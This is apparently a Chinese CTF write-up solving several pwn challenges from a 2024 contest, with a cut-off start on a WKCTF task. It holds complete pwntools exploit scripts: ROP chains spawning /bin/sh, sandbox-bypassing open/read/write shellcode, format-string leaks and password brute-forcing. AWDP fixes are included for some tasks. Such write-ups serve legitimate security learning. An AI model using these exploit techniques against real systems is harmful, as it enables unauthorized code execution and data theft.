2024年 “春秋杯” 网络安全联赛夏季赛
0x00 CTF
stdout
程序保护如下
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
这题的难点在于 setvbuf(stdout, 0LL, 0, 0LL)
操作会开启 stdout
缓冲区的全缓冲,导致程序在结束时才会刷新缓冲区并输出数据,因此在程序运行过程中不会有任何输出,包括执行 ROP 链泄露的 libc 信息
setvbuf()
函数的原型如下int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
stream 是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流
buffer 是分配给用户的缓冲,如果设置为 NULL,该函数会自动分配一个指定大小的缓冲
mode 指定了文件缓冲的模式
size 是缓冲的大小,以字节为单位
该函数的三参有三种模式:
全缓冲:0,缓冲区满 或 调用fflush() 后输出缓冲区内容
行缓冲:1,缓冲区满 或 遇到换行符 或 调用fflush() 后输出缓冲区内容
无缓冲:2,直接输出
了解了这些,后面的思路无非是通过填满缓冲区或调用fflush()来输出缓冲区内容。但要调用 fflush()
函数显然需要 libc
基地址,但哪怕能够执行到 ROP 链泄出地址,也不会直接将数据输出,那么方法只剩下通过填满缓冲区的方式将数据带出来了
int init()
{
setvbuf(stdout, 0LL, 0, 0LL);
return setvbuf(stdin, 0LL, 2, 0LL);
}
main()
函数中存在 0x10
大小栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
init();
puts("where is my stdout???");
read(0, buf, 0x60uLL);
return 0;
}
vuln()
函数处有更大的溢出,extend()
函数的功能表面上是扩展 GOT 表,但实际上另有用途,这里会输出不少字符串
ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x200uLL);
}
__int64 extend()
{
__int64 result; // rax
char s[8]; // [rsp+0h] [rbp-30h] BYREF
__int64 v2; // [rsp+8h] [rbp-28h]
__int64 v3; // [rsp+10h] [rbp-20h]
__int64 v4; // [rsp+18h] [rbp-18h]
int v5; // [rsp+28h] [rbp-8h]
int v6; // [rsp+2Ch] [rbp-4h]
puts("Just to increase the number of got tables");
*(_QWORD *)s = 0x216F6C6C6568LL;
v2 = 0LL;
v3 = 0LL;
v4 = 0LL;
v6 = strlen(s);
if ( strcmp(s, "hello!") )
exit(0);
puts("hello!");
srand(1u);
v5 = 0;
result = (unsigned int)(rand() % 16);
v5 = result;
return result;
}
最终思路是 ROP 控制程序输出来填满输出缓冲区,带出地址后 ret2libc
,exp 如下
刚开始没注意到有
extend()
函数,所以在循环发送泄xxx_got
的 ROP 链,这样下来每次输出的字节都不多,所以要需要很多次循环,但是远程连接并不稳定,经常地址还没泄出来就断开连接了,被本地通远端不通折磨了挺久的,最后想到可以用extend()
函数来加速填满输出缓冲区
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.134.120', 37382]
pwnfile = './pwn'
elf = ELF(pwnfile)
libcfile = './libc-2.31.so'
libc = ELF(libcfile)
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x40125D')
payload1 = 'a'*(0x50+0x8)
payload1 += p64(0x40125D)
p.send(payload1)
vuln = 0x40125D
pop_rdi_ret = 0x4013d3
read_got = elf.got['read']
puts_plt = 0x4010B0
ret = 0x40136E
ext = 0x401287
for i in range(2):
log.info('count: ' + hex(i))
payload2 = 'a'*(0x20+0x8)
# payload2 += p64(ret)
payload2 += p64(ext)*55
payload2 += p64(pop_rdi_ret)
payload2 += p64(read_got)
payload2 += p64(puts_plt)
payload2 += p64(vuln)
# sleep(0.05)
p.send(payload2)
read_addr = recv64_addr()
# loginfo("read_addr: ", read_addr)
libc_base = read_addr - libc.symbols['read']
loginfo("libc_base: ", libc_base)
# debug('b *0x40136E')
pop_rsi_ret = libc_base + 0x2601f
pop_rdx_ret = libc_base + 0x142c92
pop_rax_ret = libc_base + 0x36174
syscall = libc_base + 0x2284d
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a'*(0x20+0x8)
payload += p64(ret)*2
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(pop_rdx_ret)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
# payload += p64(system_addr)
payload += p64(pop_rax_ret)
payload += p64(59)
payload += p64(syscall)
p.send(payload)
exp()
p.interactive()
Shuffled_Execution
mmap
了一段具有 rwx
权限的段,用于执行往这里写入的 shellcode,沙箱禁用如下,最后选择使用 openat
, preadv2
, writev
进行 orw flag
ve1kcon@wsl:~/work/CTF/2024_7/cqb2024_x/Shuffled_Execution$ seccomp-tools dump ./pwn
The only chance to pass the entrance.
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 0015
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0015
0005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 0015
0006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 0015
0007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 0015
0008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 0015
0009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0015
0010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0015
0011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0015
0012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0015
0013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0015
0014: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0015: 0x06 0x00 0x00 0x00000000 return KILL
用户输入后会在 shuffle()
函数中对输入进行变换,但是操作长度 sc_len
由 v3 = strlen(s)
传入,所以可以使用 "\x00"
来绕过
unsigned __int64 __fastcall shuffle(__int64 sc, unsigned __int64 sc_len)
{
char tmp; // [rsp+1Bh] [rbp-15h]
int i; // [rsp+1Ch] [rbp-14h]
unsigned __int64 ran; // [rsp+20h] [rbp-10h]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
srand(0x1337u);
if ( sc_len > 1 )
{
for ( i = 0; i < sc_len >> 1; ++i )
{
ran = rand() % sc_len;
tmp = *(_BYTE *)(i + sc);
*(_BYTE *)(i + sc) = *(_BYTE *)(sc + ran);// 循环对前一半字符(使用shellcode里的随机一个字符)进行逐一随机变换
*(_BYTE *)(ran + sc) = tmp;
}
}
return v6 - __readfsqword(0x28u);
}
还有一点是在执行 shellcode 前对大部分寄存器的值都清零了,所以需要先对 rsp 进行重新赋值才能使用到出栈入栈的操作
.text:00000000000014F0 mov rbx, 0
.text:00000000000014F7 mov rcx, 0
.text:00000000000014FE mov rdx, 0
.text:0000000000001505 mov rdi, 0
.text:000000000000150C mov rsi, 0
.text:0000000000001513 mov r8, 0
.text:000000000000151A mov r9, 0
.text:0000000000001521 mov r10, 0
.text:0000000000001528 mov r11, 0
.text:000000000000152F mov r12, 0
.text:0000000000001536 mov r13, 0
.text:000000000000153D mov r14, 0
.text:0000000000001544 mov r15, 0
.text:000000000000154B mov rbp, 0
.text:0000000000001552 mov rsp, 0
.text:0000000000001559 mov rax, 1337000h
.text:0000000000001560 jmp rax
exp 如下,要用 preadv2
和 writev
的话,主要是要注意 iovec
这个结构体,注释里使用到的双花括号只是转义,否则会被解释成变量占位符
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['8.147.132.12', 44463]
pwnfile = './pwn'
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
'''
fname = '/home/ve1kcon/flag'
mov rax,0x{fname0}; push rax;
mov rax,0x{fname1}; push rax;
mov rax,0x{fname2}; push rax;
fname0 = fname[16:][::-1].encode('hex')
fname1 = fname[8:16][::-1].encode('hex')
fname2 = fname[:8][::-1].encode('hex')
'''
fname = '/flag'
# pay = 'nop;'*0x20
pay = """
mov rsp, 0x1337500;
/* openat(0, *file_name, 0) */
mov rax,0x{fname0}; push rax;
push rsp; pop rsi;
mov rdi, 0;
mov rdx, 0;
mov rax, 257; syscall;
/* vec -> const struct iovec {{ void *buf; size_t count }}; */
push 0x100; push 0x1337600;
push rsp; pop r15;
/* preadv2(3, *vec, 1) */
mov rdi, 3;
mov rsi, r15;
mov rdx, 1;
mov rax, 327; syscall;
/* writev(1, *vec, 1) */
mov rdi, 1;
mov rax, 20; syscall;
""".format(
fname0=fname[:8][::-1].encode('hex')
)
# debug('b *$rebase(0x16CB)')
# debug('''b *$rebase(0x1559)
# c
# b *0x133702d''')
p.sendlineafter('entrance.\n', '\x00'*2 + asm(pay))
exp()
p.interactive()
SavethePrincess
程序保护如下,保护开满
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./'
init()
函数处初始化了 key
,而且随机数不可预测
unsigned __int64 init()
{
unsigned int buf; // [rsp+Ch] [rbp-14h] BYREF
int i; // [rsp+10h] [rbp-10h]
int fd; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
buf = 0;
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
perror("open");
exit(0);
}
read(fd, &buf, 4uLL);
srand(buf);
buf = 0;
close(fd);
for ( i = 0; i <= 7; ++i )
key[i] = rand() % 26 + 97; // key unpredictable
return v4 - __readfsqword(0x28u);
}
在 magic()
函数中将 buf
填满即可在输出字符串时将 for 循环的次数 i
带出,可以用这一个字节数据来判断前 i+1
个字符是否匹配,所以可以利用这个地方逐字节爆破随机数 dest
,然后利用后面的格式化字符串漏洞泄露 libc 地址,canary 和 stack 地址
__int64 magic()
{
char dest[8]; // [rsp+5h] [rbp-1Bh] BYREF
char buf[10]; // [rsp+Dh] [rbp-13h] BYREF
char i; // [rsp+17h] [rbp-9h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
strcpy(dest, love);
if ( fmt == 1 )
printf("You have gained your power, now go and defeat the dragon and save the SWDD princess");
puts("please input your password: ");
read(0, buf, 0xAuLL);
for ( i = 0; i <= 7; ++i )
{
if ( buf[i] != dest[i] )
{
printf("you password is %s\n,nononno!!!\n", buf);
return 0LL;
}
}
puts("successfully, Embrace the power!!!");
fmt = 1;
read(0, dest, 0x14uLL);
printf(dest);
return 0LL;
}
在 challenge()
函数处会开启沙箱,还有个栈溢出可以利用
__int64 Challenge()
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("Attack the dragon!!");
read(0, buf, 0x200uLL);
puts("The dragon attacks you before it dies");
sandbox();
puts("Did you succeed?");
return 0LL;
}
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x0b 0xc000003e if (A != ARCH_X86_64) goto 0013
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x08 0xffffffff if (A != 0xffffffff) goto 0013
0005: 0x15 0x07 0x00 0x00000000 if (A == read) goto 0013
0006: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0013
0007: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 0013
0008: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 0013
0009: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 0013
0010: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 0013
0011: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0013
0012: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0013: 0x06 0x00 0x00 0x00000000 return KILL
exp 如下
# coding=utf-8
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
libcfile = './libc.so.6'
libc = ELF(libcfile)
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('> \n', str(index))
def magic(content='a'):
menu(1)
p.sendafter('password: \n', content)
def exp():
key = ''
realkey = ''
testkey = 'a'
for i in range(8): # 8-letter
for j in range(26): # a-z
key = key.ljust(10, 'a')
magic(key)
# loginfo('[!]'*10)
# p.recvuntil('you password is '+key, timeout=0.5)
data = p.recvuntil('you password is '+key, timeout=0.5)
loginfo(data)
if not data.startswith("you"): # the correct key has been obtained at this time
break
tmp = p.recv(1)
print('round:'+str(i)+'; count:'+str(j)+'; times:'+tmp)
if tmp != struct.pack('B', i + 1): # integer -> single byte of binary data, if times ≠ round+1, lose
testkey = chr(ord("b")+j) # char1 -> ascii -> char2
key = realkey + testkey # reset key
continue # jump out of the current j loop
loginfo('realkey++!')
realkey += testkey
print('real key now: '+realkey)
break # jump out of the current i loop
# realkey = key[:-2]
# loginfo(realkey)
# p.sendlineafter('successfully, Embrace the power!!!\n', 'a')
# menu(1)
# p.sendafter('password: \n', realkey)
# debug('''b *$rebase(0x166A)
# c
# b *$rebase(0x16C5)''')
# debug('b *$rebase(0x170C)')
payload = '%9$p%15$p%10$p+'
p.sendlineafter('successfully, Embrace the power!!!\n', payload)
p.recvuntil('0x')
canary = int(p.recvuntil('0x')[:-2],16)
loginfo('canary: ', canary)
libc_base = int(p.recvuntil('0x')[:-2],16) - 0x29d90
loginfo('libc_base: ', libc_base)
stack_addr = int(p.recvuntil("+")[:-1],16)
input_addr = stack_addr - 0x60 # 0x7fff72ec2810->0x7fff72ec27b0 is -0x60 bytes (-0xc words)
loginfo('stack_addr: ', stack_addr)
# ----- openat preadv2 writev -----
pop_rdi_ret = libc_base + 0x2a3e5
pop_rsi_ret = libc_base + 0x2be51
pop_rdx_r12_ret = libc_base + 0x11f2e7
pop_rcx_ret = libc_base + 0x3d1ee
# r10 = libc_base + 0x115af4 # mov r10, rcx ; mov eax, 0x104 ; syscall # syscal does not modify the value of r10 after execution
pop_rax_ret = libc_base + 0x45eb0
syscall = libc_base + 0x29db4
openat_addr = libc_base + libc.symbols['openat']
preadv2_addr = libc_base + libc.symbols['preadv2']
writev_addr = libc_base + libc.symbols['writev']
# loginfo('preadv2_addr: ', preadv2_addr)
loginfo('pop_rdi_ret: ', pop_rdi_ret)
# loginfo('writev_addr: ', writev_addr)
flag = '/flag'.ljust(8, '\x00')
openat = ''
# openat = p64(pop_rcx_ret) + p64(0)
# openat += p64(r10)
openat += p64(pop_rdi_ret) + p64(0)
openat += p64(pop_rsi_ret) + p64(input_addr+0x160)
openat += p64(pop_rdx_r12_ret) + p64(0)*2
openat += p64(openat_addr)
# openat += p64(pop_rax_ret) + p64(257) + p64(syscall)
preadv2 = p64(pop_rdi_ret) + p64(3)
preadv2 += p64(pop_rsi_ret) + p64(input_addr+0x150)
preadv2 += p64(pop_rdx_r12_ret) + p64(1)*2
preadv2 += p64(pop_rcx_ret) + p64(0)
preadv2 += p64(preadv2_addr)
# preadv2 += p64(pop_rax_ret) + p64(327) + p64(syscall)
writev = p64(pop_rdi_ret) + p64(1)
writev += p64(writev_addr)
# writev += p64(pop_rax_ret) + p64(20) + p64(syscall)
payload = 'a'*(0x40-0x8) + p64(canary) + p64(0)
payload += openat + preadv2 + writev
payload = payload.ljust(0x150, 'a')
payload += p64(input_addr+0x300) + p64(0x100)
payload += flag
menu(2)
p.sendlineafter('Attack the dragon!!\n', payload)
exp()
p.interactive()
libc
库里的 preadv2()
函数
__int64 preadv64v2()
{
__int64 result; // rax
unsigned int v1; // er14
if ( __readfsdword(0x18u) )
{
v1 = sub_909F0();
__asm { syscall; LINUX - }
sub_90A60(v1);
result = 327LL;
}
else
{
result = 327LL;
__asm { syscall; LINUX - }
}
return result;
}
0x01 AWDP
sspiiiiiil
这个题刚开始没怎么逆明白,但其实逻辑也没那么复杂。首先要留意用户输入时将数据往栈上哪处写了,然后关注程序会取这片内存的数据进行什么操作,最后有一个维护了函数表的数组
程序保护如下,保护开满
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序主要逻辑如下,有四个功能
// bad sp value at call has been detected, the output may be wrong!
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+0h] [rbp-4834h] BYREF
char s[2096]; // [rsp+4h] [rbp-4830h] BYREF
char v5; // [rsp+834h] [rbp-4000h] BYREF
__int64 v6[512]; // [rsp+3834h] [rbp-1000h] BYREF
while ( v6 != (__int64 *)&v5 )
;
v6[511] = __readfsqword(0x28u);
init_0();
memset(s, 0, 0x4828uLL);
while ( 1 )
{
while ( 1 )
{
puts("Give me your choice: ");
__isoc99_scanf("%d", &v3);
if ( v3 != 4 )
break;
bye();
}
if ( v3 <= 4 )
{
switch ( v3 )
{
case 3:
exc(s);
break;
case 1:
sandbox();
break;
case 2:
evil_read(s);
break;
}
}
}
}
功能 1 只是打开一个沙箱,没有其他服务,正经人谁会去调用它自找麻烦(x
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005
0004: 0x06 0x00 0x00 0x00000000 return KILL
0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
功能 2 可以往栈上写入 0x400 字节数据,函数调用的传参是一个栈指针,所以是写入到 *(&s+0x808)
的位置,s
是在 main()
函数里定义的局部变量
ssize_t __fastcall evil_read(__int64 a1)
{
puts("see you");
return read(0, (void *)(a1 + 0x808), 0x400uLL);
}
功能 3 里最核心的代码是 (functions[v3])(s)
,这里面可以根据用户输入执行到对应的函数,分析如下
functions
是一个函数表,v1 = *(&s + 0x2808)
是存储了一个计数值的地方,初值为 0,通过静态分析可以发现每次对函数表进行调用时,这个值都会增大;v3
由用户输入决定,因为 *(s+0x808+8*v1)
指向的就是功能 2 的输入点,但是会判断 v3 > 0xB
int __fastcall exc(__int64 s)
{
__int64 v1; // rax
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
while ( 1 )
{
v1 = *(_QWORD *)(s + 0x2808);
*(_QWORD *)(s + 0x2808) = v1 + 1; // count from 0
v3 = *(_QWORD *)(s + 8 * (v1 + 0x100) + 8); // *(s+0x808+8*v1)
if ( v3 > 0xB )
break;
((void (__fastcall *)(__int64))functions[v3])(s);
}
return printf("Unknown instruction %zu\n", v3);
}
.data:0000000000004020 functions dq offset exit_addr ; DATA XREF: funA+54↑o
.data:0000000000004020 ; funA+5B↑r ...
.data:0000000000004028 dq offset fun1
.data:0000000000004030 dq offset fun2
.data:0000000000004038 dq offset fun3
.data:0000000000004040 dq offset fun4
.data:0000000000004048 dq offset fun5
.data:0000000000004050 dq offset fun6
.data:0000000000004058 dq offset fun7
.data:0000000000004060 dq offset fun8
.data:0000000000004068 dq offset fun9
.data:0000000000004070 dq offset funA
.data:0000000000004078 dq offset funB
.data:0000000000004080 dq offset funC
偏移为 0xA
的函数里最后执行了类似 exc()
里的函数调用,但是没有对函数表偏移进行判断
__int64 __fastcall funA(__int64 a1)
{
__int64 v1; // rax
__int64 v3; // [rsp+18h] [rbp-8h]
v3 = *(_QWORD *)(a1 + 0x2808) + 1LL;
v1 = *(_QWORD *)(a1 + 0x2808);
*(_QWORD *)(a1 + 0x2808) = v1 + 1;
((void (__fastcall *)(__int64))functions[*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8)])(a1);
return sub_1386(a1, v3);
}
可以在 funcA()
函数里调用到偏移为 0xC
的函数,这里有个 system()
函数的调用,参数可控,但是想要执行到 system(/bin/sh)
就需要控好传入的参数,这就需要分析清楚程序逻辑后才能知道怎么去布置栈数据,计算过程详见下列注释
int __fastcall funC(__int64 a1)
{
__int64 v1; // rax
v1 = *(_QWORD *)(a1 + 0x2808);
*(_QWORD *)(a1 + 0x2808) = v1 + 1;
return system((const char *)(8 * (*(_QWORD *)(a1 + 8 * (v1 + 0x100) + 8) + 0x502LL) + a1));
// Argument passing can be simplified as: 8*(*(a1+0x808+8*v1)+0x502))+a1
// How to arrange stack data: &a1+0x820 -> '/bin/sh'
// At this time the count of v1 is equal to 2, because this is the third time to make function call
// *(&a1 + 0x818) + 0x502 = 0x820/8
// *(&a1 + 0x818) = -1022 = FFFF FFFF FFFF FC02
}
exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
p.sendlineafter('choice:', '2')
payload = p64(0xA) + p64(0xC)
payload += p64(0xFFFFFFFFFFFFFC02) + '/bin/sh\x00'
p.sendlineafter('see you\n', payload)
# debug('brva 0x1D77')
p.sendlineafter('choice:', '3')
exp()
p.interactive()
Fix 就是把 funA()
函数里的计算偏移的方式改一下,使得平台 check 脚本里原本的栈布局不能梭通,但是又不影响函数表其他函数的功能。可以将框着的 8 改成其他数,比如说 16
simpleSys
程序保护如下,无 canary
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
选项 3 是一个填写简历的功能,但需要 root
账户才能使用,evil_read((__int64)s, v3)
存在整数溢出从而导致栈溢出 + off_by_null,然后还可以填充数据直到栈上存储了地址的地方,在执行到 printf("confirm your bio: %s [y/n]", s)
时带出地址信息,泄出地址后选择 n
继续循环
unsigned __int64 __fastcall evil_read(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 result; // rax
unsigned __int8 buf; // [rsp+1Bh] [rbp-5h] BYREF
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; ; ++i )
{
result = i;
if ( a2 <= i )
break;
if ( read(0, &buf, 1uLL) != 1 )
{
result = i + a1;
*(_BYTE *)result = 0;
return result;
}
result = buf;
if ( buf == 10 )
return result;
*(_BYTE *)(a1 + i) = buf;
}
return result;
}
int vuln()
{
int result; // eax
char s[91]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int8 v2; // [rsp+5Bh] [rbp-5h] BYREF
int v3; // [rsp+5Ch] [rbp-4h]
if ( !check_login )
return puts("login first");
if ( !check_root )
return puts("only root");
while ( 1 )
{
printf("input length: ");
v3 = get_num();
if ( v3 > 80 )
break;
evil_read((__int64)s, v3);
printf("confirm your bio: %s [y/n]", s);
__isoc99_scanf("%c", &v2);
getchar();
result = v2;
if ( v2 == 'y' )
return result;
v3 = 0;
memset(s, 0, 0x50uLL);
}
return puts("too long");
}
选项 2 是一个用户登录的功能,漏洞点在匹配到用户名为 root
后进入到的那个分支,base64()
函数会将用户输入的密码经过 base64 编码后存储在 mypasswd_b
中
int login()
{
unsigned int v0; // eax
size_t v1; // rax
int result; // eax
size_t v3; // rax
size_t v4; // rax
char mypasswd[48]; // [rsp+0h] [rbp-60h] BYREF
char myname[48]; // [rsp+30h] [rbp-30h] BYREF
memset(myname, 0, 0x25uLL);
memset(mypasswd, 0, 0x25uLL);
printf("username: ");
evil_read((__int64)myname, 0x24uLL);
printf("password: ");
evil_read((__int64)mypasswd, 0x24uLL);
if ( !strncmp(myname, "root", 4uLL) )
{
v0 = strlen(mypasswd);
base64(mypasswd, v0, &mypasswd_b);
v1 = strlen(root_passwd);
if ( !strncmp(&mypasswd_b, root_passwd, v1) )
{
result = printf("%s login successfully\n", myname);
check_root = 1;
check_login = 1;
return result;
}
}
else
{
v3 = strlen(name);
if ( !strncmp(myname, name, v3) )
{
v4 = strlen(passwd);
if ( !strncmp(mypasswd, passwd, v4) )
{
result = printf("%s login successfully\n", myname);
check_login = 1;
return result;
}
}
}
return puts("fail to login");
}
输入 36 个 'a' 进行编码后长度为 0x30
,存储到 mypasswd_b
时因为存在 off-by-null 会将紧挨着的 root_passwd
低位覆盖为 '\x00'
,使得判断长度 v1 = strlen(root_passwd)
的值为 0 绕过判断,从而能够登录 root
账户
.data:0000000000004020 ; char mypasswd_b
.data:0000000000004020 mypasswd_b dq 0FFFFFFFFFFFFFFFFh ; DATA XREF: login+B7↑o
.data:0000000000004020 ; login+E4↑o
.data:0000000000004028 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004030 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004038 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004040 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004048 dq 0FFFFFFFFFFFFFFFFh
.data:0000000000004050 ; char root_passwd[24]
.data:0000000000004050 root_passwd db 'dGhpcyBpcyBwYXNzd29yZA=='
.data:0000000000004050 ; DATA XREF: login+C8↑o
.data:0000000000004050 ; login+DA↑o
其实可以发现 root_passwd
是以硬编码的形式存储,可以 base64 解码得到明文 this is password
,但还是登录失败,经过调试发现了奇怪的地方,strncmp()
函数的三参是 0x19
,照例来说编码的长度是 0x18
v1 = strlen(root_passwd)
判断的是 root_passwd
的长度,因为后面其紧跟着 '\x01'
字节,所以导致检测长度增加,然后它也不是一串合法的经 base64 编码能得到字符串,所以只能按上述方法绕过
思路明确了,绕过登录 root
账户后,泄栈上残留的 libc 指针,利用栈溢出打 ROP,exp 如下
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
ip_port = ['127.0.0.1', 9999]
pwnfile = './pwn'
elf = ELF(pwnfile)
libc = elf.libc
def loginfo(a, b=None):
if b is None:
log.info(a)
else:
log.info(a + hex(b))
if len(sys.argv) == 2:
if 'p' in sys.argv[1]:
p = process(pwnfile)
elif 'r' in sys.argv[1]:
p = remote(ip_port[0], ip_port[1])
else:
loginfo("INVALID_PARAMETER")
sys.exit(1)
def recv64_addr():
return u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def menu(index):
p.sendlineafter('Enter your choice: ', str(index))
def signup(username, passwd):
menu(1)
p.sendlineafter('username: ', username)
p.sendlineafter('password: ', passwd)
def login(username, passwd):
menu(2)
p.sendlineafter('username: ', username)
p.sendlineafter('password: ', passwd)
def addbio(len, content='a'):
menu(3)
p.sendlineafter('length: ', str(len))
p.sendline(content)
def exp():
# debug('brva 0x162B')
# debug('brva 0x1675')
# debug('brva 0x14FA')
# debug('brva 0x1656')
# debug('brva 0x1515')
login('root', 'a'*36)
# login('root', 'this is password')
payload = 'a'*(0x30)
addbio(-1, payload)
p.recvuntil(payload)
# leak_addr = u64(p.recv(6).ljust(8,b'\x00'))
leak_addr = recv64_addr()
libc_base = leak_addr - 0x26d040 # 0x7fd71335b040->0x7fd7130ee000 is -0x26d040 bytes (-0x4da08 words)
loginfo('libc_base: ', libc_base)
p.sendlineafter('[y/n]', 'n')
pop_rdi_ret = libc_base + 0x2a3e5
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/sh\x00').next()
payload = 'a'*(0x60+0x8)
payload += p64(pop_rdi_ret+1)
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.sendlineafter('length: ', '-1')
p.sendline(payload)
p.sendlineafter('[y/n]', 'y')
exp()
p.interactive()
Fix 就是将此处的 <=
修改为 <
,修改方式是将 ja -> jnb
;也可以是修改读入的密码的长度
WKCTF
baby_stack
程序保护如下,GOT 表可写,无 canary
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./2.27-3ubuntu1.6'
栈上数据大放送,甚至不需要构造 payload,输入数字作为对应偏移即可泄出对应数据
fgets(s, 5, stdin);
v0 = strtol(s, 0LL, 10);
snprintf(format, 0x64uLL, "Your magic number is: %%%d$llx\n", v0);
printf(format);
off-by-null,可以改 rbp 低位为 \x00
,效果是在 echo_inner()
函数返回时有一定几率能够抬栈,此时若在上方布置了 ROP 链,则在上层函数 echo()
